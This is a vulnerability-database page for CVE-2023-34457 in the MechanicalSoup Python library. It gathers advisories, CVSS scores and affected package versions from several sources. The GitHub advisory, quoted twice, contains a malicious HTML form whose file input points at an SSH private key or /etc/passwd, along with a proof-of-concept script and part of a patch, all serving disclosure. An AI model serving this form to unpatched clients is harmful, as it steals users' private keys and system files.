Every CVE Search/ Get API key

CVE-2023-34457

MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form

5.9 MediumFix available

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

1.08%Up 1.0 points since Jul 6, 2023
90%50%10%1%

What each source reports

CVE List Score used 5.9

MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Record
CVE-2023-34457
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-20
Updated
2026-11-02
EUVDEUVD-2023-0143 5.9

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Record
EUVD-2023-0143
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-x456-3ccm-m6j4 8.7

MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form

Summary

A malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form.

Details

This affects the extremely common pattern of form submission:

b = mechanicalsoup.StatefulBrowser()
b.select_form(...)
b.submit_selected()

The problem is with the code in browser.Browser.get_request_kwargs:

    if tag.get("type", "").lower() == "file" and multipart:
        filepath = value
        if filepath != "" and isinstance(filepath, str):
            content = open(filepath, "rb")
        else:
            content = ""
        filename = os.path.basename(filepath)
        # If value is the empty string, we still pass it
        # for consistency with browsers (see
        # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).
        files[name] = (filename, content)

The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:

<html><body>
  <form method="post" enctype="multipart/form-data">
    <input type="text" name="greeting" value="hello" />
    <input type="file" name="evil" value="/home/user/.ssh/id_rsa" />
  </form>
</body></html>

then upon .submit_selected() the mechanicalsoup browser will happily send over the contents of your SSH private key.

PoC

import attr
import mechanicalsoup
import requests


class NevermindError(Exception):
    pass


@attr.s
class FakeSession:
    session = attr.ib()

    headers = property(lambda self: self.session.headers)

    def request(self, *args, **kwargs):
        print("requested", args, kwargs)
        raise NevermindError  # don't actually send request


def demonstrate(inputs=None):
    b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session()))
    b.open_fake_page("""\
<html><body>
<form method="post" enctype="multipart/form-data">
<input type="text" name="greeting" value="hello" />
<input type="file" name="evil" value="/etc/passwd" />
<input type="file" name="second" />
</form>
</body></html>
""", url="http://127.0.0.1:9/")
    b.select_form()
    if inputs is not None:
        b.form.set_input(inputs)
    try:
        b.submit_selected()
    except NevermindError:
        pass

# %%

# unpatched
demonstrate()
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('passwd', <_io.BufferedReader name='/etc/passwd'>), 'second': ('', '')}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hello')]}

# %%

# with the patch, this now works. users MUST open the file manually and
# use browser.set_input() using the file object.
demonstrate({"greeting": "hiya", "evil": open("/etc/hostname", "rb").name, "second": open("/dev/null", "rb")})
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('hostname', <_io.BufferedReader name='/etc/hostname'>), 'second': ('null', <_io.BufferedReader name='/dev/null'>)}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hiya')]}

# %%

# with the patch, this raises a ValueError with a helpful string
demonstrate({"evil": "/etc/hostname"})

# %%

# with the patch, we silently send no file if a malicious server tries the attack:
demonstrate()

Suggested patch

diff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py
index 285f8bb..68bc65e 100644
--- a/mechanicalsoup/browser.py
+++ b/mechanicalsoup/browser.py
@@ -1,7 +1,8 @@
+import io
 import os
 import tempfile
 import urllib
 import weakref
 import webbrowser
 
 import bs4
@@ -227,15 +228,21 @@ class Browser:
                     value = tag.get("value", "")
 
                 # If the enctype is not multipart, the filename is put in
                 # the form as a text input and the file is not sent.
                 if tag.get("type", "").lower() == "file" and multipart:
                     filepath = value
              …
Record
GHSA-x456-3ccm-m6j4
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-20
Updated
2026-11-02
NVD 5.9

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Record
CVE-2023-34457
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-20
Updated
2026-11-02
OSV 5.9

MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Record
CVE-2023-34457
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-20
Updated
2026-11-02
OSVDEBIAN-CVE-2023-34457 7.5

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Record
DEBIAN-CVE-2023-34457
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
Show 5 moreShow less
OSVGHSA-x456-3ccm-m6j4 8.7

MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form

Summary

A malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form.

Details

This affects the extremely common pattern of form submission:

b = mechanicalsoup.StatefulBrowser()
b.select_form(...)
b.submit_selected()

The problem is with the code in browser.Browser.get_request_kwargs:

    if tag.get("type", "").lower() == "file" and multipart:
        filepath = value
        if filepath != "" and isinstance(filepath, str):
            content = open(filepath, "rb")
        else:
            content = ""
        filename = os.path.basename(filepath)
        # If value is the empty string, we still pass it
        # for consistency with browsers (see
        # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).
        files[name] = (filename, content)

The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:

<html><body>
  <form method="post" enctype="multipart/form-data">
    <input type="text" name="greeting" value="hello" />
    <input type="file" name="evil" value="/home/user/.ssh/id_rsa" />
  </form>
</body></html>

then upon .submit_selected() the mechanicalsoup browser will happily send over the contents of your SSH private key.

PoC

import attr
import mechanicalsoup
import requests


class NevermindError(Exception):
    pass


@attr.s
class FakeSession:
    session = attr.ib()

    headers = property(lambda self: self.session.headers)

    def request(self, *args, **kwargs):
        print("requested", args, kwargs)
        raise NevermindError  # don't actually send request


def demonstrate(inputs=None):
    b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session()))
    b.open_fake_page("""\
<html><body>
<form method="post" enctype="multipart/form-data">
<input type="text" name="greeting" value="hello" />
<input type="file" name="evil" value="/etc/passwd" />
<input type="file" name="second" />
</form>
</body></html>
""", url="http://127.0.0.1:9/")
    b.select_form()
    if inputs is not None:
        b.form.set_input(inputs)
    try:
        b.submit_selected()
    except NevermindError:
        pass

# %%

# unpatched
demonstrate()
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('passwd', <_io.BufferedReader name='/etc/passwd'>), 'second': ('', '')}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hello')]}

# %%

# with the patch, this now works. users MUST open the file manually and
# use browser.set_input() using the file object.
demonstrate({"greeting": "hiya", "evil": open("/etc/hostname", "rb").name, "second": open("/dev/null", "rb")})
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('hostname', <_io.BufferedReader name='/etc/hostname'>), 'second': ('null', <_io.BufferedReader name='/dev/null'>)}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hiya')]}

# %%

# with the patch, this raises a ValueError with a helpful string
demonstrate({"evil": "/etc/hostname"})

# %%

# with the patch, we silently send no file if a malicious server tries the attack:
demonstrate()

Suggested patch

diff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py
index 285f8bb..68bc65e 100644
--- a/mechanicalsoup/browser.py
+++ b/mechanicalsoup/browser.py
@@ -1,7 +1,8 @@
+import io
 import os
 import tempfile
 import urllib
 import weakref
 import webbrowser
 
 import bs4
@@ -227,15 +228,21 @@ class Browser:
                     value = tag.get("value", "")
 
                 # If the enctype is not multipart, the filename is put in
                 # the form as a text input and the file is not sent.
                 if tag.get("type", "").lower() == "file" and multipart:
                     filepath = value
              …
Record
GHSA-x456-3ccm-m6j4
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-20
Updated
2026-11-02
OSVUBUNTU-CVE-2023-34457 5.9

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Record
UBUNTU-CVE-2023-34457
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
OSVopenSUSE-SU-2024:13499-1 No score

python310-MechanicalSoup-1.3.0-1.1 on GA media

These are all security issues fixed in the python310-MechanicalSoup-1.3.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:13499-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11993-1 No score

python313-MechanicalSoup-1.4.0-2.4 on GA media

These are all security issues fixed in the python313-MechanicalSoup-1.4.0-2.4 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11993-1
Updated
2026-11-02
OSVPYSEC-2023-108 No score

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Record
PYSEC-2023-108
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
mechanicalsoup
PyPI
0.2.0 up to 1.3.0
1.3.0
python-mechanicalsoup
Debian:12
All versions, plus listed versions
0.10.0-61.3.0-11.3.0-21.3.0-31.4.0-1
None known
python-mechanicalsoup
Debian:13
before 1.3.0-1
1.3.0-1
python-mechanicalsoup
Debian:14
before 1.3.0-1
1.3.0-1
mechanicalsoup
PyPI
0.2.0 up to 1.3.0, plus listed versions
0.10.00.11.00.12.00.2.10.2.2
Show 15 moreShow less
0.3.00.3.10.4.00.5.00.6.00.7.00.8.00.9.00.9.0.post10.9.0.post20.9.0.post30.9.0.post41.0.01.1.01.2.0
1.3.0
mechanicalsoup
PyPI
before 1.3.0, plus listed versions
0.0.20.0.30.1.00.1.10.1.2
Show 21 moreShow less
0.10.00.11.00.12.00.2.00.2.10.2.20.3.00.3.10.4.00.5.00.6.00.7.00.8.00.9.00.9.0.post10.9.0.post20.9.0.post30.9.0.post41.0.01.1.01.2.0
1.3.0
python-mechanicalsoup
Ubuntu:18.04:LTS
All versions, plus listed versions
0.7.0-10.8.0-10.10.0-10.10.0-1.1
None known
python-mechanicalsoup
Ubuntu:20.04:LTS
All versions, plus listed versions
0.10.0-3
None known
python-mechanicalsoup
Ubuntu:22.04:LTS
All versions, plus listed versions
0.10.0-4
None known
python-mechanicalsoup
Ubuntu:24.04:LTS
All versions, plus listed versions
0.10.0-6build11.3.0-11.3.0-2
None known
Show 4 moreShow less
Affected packages
PackageAffectedFixed
python-mechanicalsoup
Ubuntu:25.10
All versions, plus listed versions
1.3.0-21.4.0-0ubuntu11.4.0-0ubuntu2
None known
python-mechanicalsoup
Ubuntu:26.10
All versions, plus listed versions
1.4.0-0ubuntu2
None known
python-mechanicalsoup
Ubuntu:26.04:LTS
All versions, plus listed versions
1.4.0-0ubuntu2
None known
python-MechanicalSoup
openSUSE:Tumbleweed
before 1.4.0-2.4
1.4.0-2.4

History

History
RecordedChangedSources
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2023-34457 is a medium vulnerability (CVSS 5.9) in Mechanicalsoup, published July 5, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.08%, the 65th percentile. Fixed in mechanicalsoup 1.3.0.

References

Show 7 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open